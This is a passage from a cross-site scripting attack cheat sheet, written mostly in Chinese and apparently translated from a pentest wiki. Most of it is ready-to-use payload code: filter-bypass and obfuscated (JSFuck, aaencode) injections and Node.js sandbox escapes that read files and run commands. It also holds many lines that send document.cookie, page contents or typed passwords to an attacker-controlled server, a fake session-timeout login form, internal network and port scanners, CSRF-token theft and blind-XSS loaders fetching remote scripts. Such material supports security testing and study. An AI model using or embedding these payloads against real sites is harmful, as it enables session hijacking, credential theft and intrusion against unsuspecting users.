<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

在302响应中通过头注入实现XSS

如果你发现可以在302重定向响应中注入头信息,你可以尝试让浏览器执行任意JavaScript代码。这并非易事因为现代浏览器如果HTTP响应状态码是302通常不会解析HTTP响应体所以仅仅一个跨站脚本载荷是无效的。

这篇报告这篇报告你可以阅读如何测试Location头中的几种协议看看是否有任何一种允许浏览器检查并执行正文中的XSS载荷。
过去已知的协议包括:mailto://, //x:1/, ws://, wss://, 空Location头resource://

仅限字母、数字和点

如果你能够指定javascript将要执行回调,并且仅限于这些字符。阅读这篇文章的这一节来找出如何利用这种行为。

有效的<script>内容类型实现XSS

(来自这里) 如果你尝试加载一个内容类型为application/octet-stream的脚本Chrome会抛出以下错误

由于其MIME类型application/octet-stream不可执行并且启用了严格的MIME类型检查拒绝执行来自https://uploader.c.hc.lc/uploads/xxx'的脚本。

唯一支持Chrome运行加载的脚本Content-Type是在https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc中的常量**kSupportedJavascriptTypes**里面的类型。

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS 中的脚本类型

(来自 这里) 那么,哪些类型可以用来指示加载脚本?

<script type="???"></script>

答案是:

  • module(默认,无需解释)
  • webbundleWeb Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 .wbn 文件中。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

此行为在此报告中被用来重新映射一个库到 eval 来滥用它,从而触发 XSS。

  • speculationrules: 此功能主要是为了解决预渲染引起的一些问题。其工作原理如下:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web内容类型与XSS

(来源于这里以下内容类型在所有浏览器中都能执行XSS

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain ?? 不在列表中但我认为我在CTF中见过
  • application/rss+xml (关闭)
  • application/atom+xml (关闭)

在其他浏览器中,其他**Content-Types**可以用来执行任意JS查看https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml内容类型

如果页面返回的是text/xml内容类型可以指定一个命名空间并执行任意JS

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊替换模式

当使用类似 "some {{template}} data".replace("{{template}}", <user_input>) 的代码时,攻击者可以使用特殊字符串替换来尝试绕过一些保护措施:"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

例如在这篇文章中,这种方法被用来逃逸一个 JSON 字符串在脚本中并执行任意代码。

Chrome 缓存到 XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS 监狱逃脱

如果你只能使用有限的字符集,请检查这些其他有效的 XSJail 问题解决方案:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

如果在执行不可信代码之前一切都是未定义的(就像在这篇文章中所描述的),那么有可能“凭空”生成有用的对象来滥用任意不可信代码的执行:

  • 使用 import()
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • 间接访问 require

根据这个信息Node.js会将模块包装在一个函数中如下所示

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

因此,如果我们可以从该模块调用另一个函数,就可以在那个函数中使用 arguments.callee.caller.arguments[1] 来访问**require**

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

与前面的例子类似,可以使用错误处理程序来访问模块的包装器并获取**require**函数:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

混淆与高级绕过

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS 常见有效载荷

多个有效载荷合一

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

检索 Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} 如果 cookie 设置了 HTTPOnly 标志,您将无法通过 JavaScript 访问 cookie。但如果您足够幸运,这里有一些绕过这种保护的方法。 {% endhint %}

窃取页面内容

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

查找内部IP地址

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

端口扫描器 (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

端口扫描器websockets

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

短时间表示端口有响应 较长时间表示无响应。

查看Chrome中禁止的端口列表这里以及Firefox中的列表这里

请求凭证的对话框

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

自动填充密码捕获

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

当任何数据在密码字段中被输入时,用户名和密码会被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何东西,凭证也会被窃取。

键盘记录器

仅在github上搜索我就找到了一些不同的

窃取CSRF令牌

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

窃取 PostMessage 消息

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

滥用 Service Workers

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

访问 Shadow DOM

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Polyglots

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

盲 XSS 载荷

您也可以使用:https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

正则表达式 - 访问隐藏内容

这篇文章中可以了解到即使某些值从JS中消失仍然可以在不同对象的JS属性中找到它们。例如即使正则表达式输入的值被移除后仍然有可能找到正则表达式的输入

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

暴力破解列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

利用其他漏洞的XSS

Markdown中的XSS

能注入将被渲染的Markdown代码吗也许你可以实现XSS检查

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS升级为SSRF

使用缓存的网站上获得了XSS尝试通过Edge Side Include注入使用以下payload来升级为SSRF

<esi:include src="http://yoursite.com/capture" />

使用它来绕过cookie限制、XSS过滤器等等 有关此技术的更多信息,请参阅:XSLT

动态创建PDF中的XSS

如果一个网页使用用户控制的输入创建PDF你可以尝试欺骗创建PDF的机器人执行任意JS代码。 因此,如果PDF创建机器人发现某种HTML 标签,它将会解释它们,你可以利用这种行为引发服务器端XSS

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

如果你无法注入HTML标签尝试注入PDF数据可能是值得的:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

Amp4Email中的XSS

AMP是一种以在移动客户端上开发超快网页而闻名的技术。AMP是一组由JavaScript支持的HTML标签,它可以轻松启用功能,同时更加注重性能和安全性。有各种AMP组件,从轮播图,到响应式表单元素,到从远程端点检索新内容。

AMP for Email格式提供了你可以在电子邮件消息中使用的AMP组件子集。AMP电子邮件的接收者可以直接在电子邮件中查看和与AMP组件互动。

示例 在Gmail中Amp4Email的XSS编写

上传文件时的XSSsvg

上传如下文件作为图片(来源:http://ghostlulz.com/xss-svg/

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
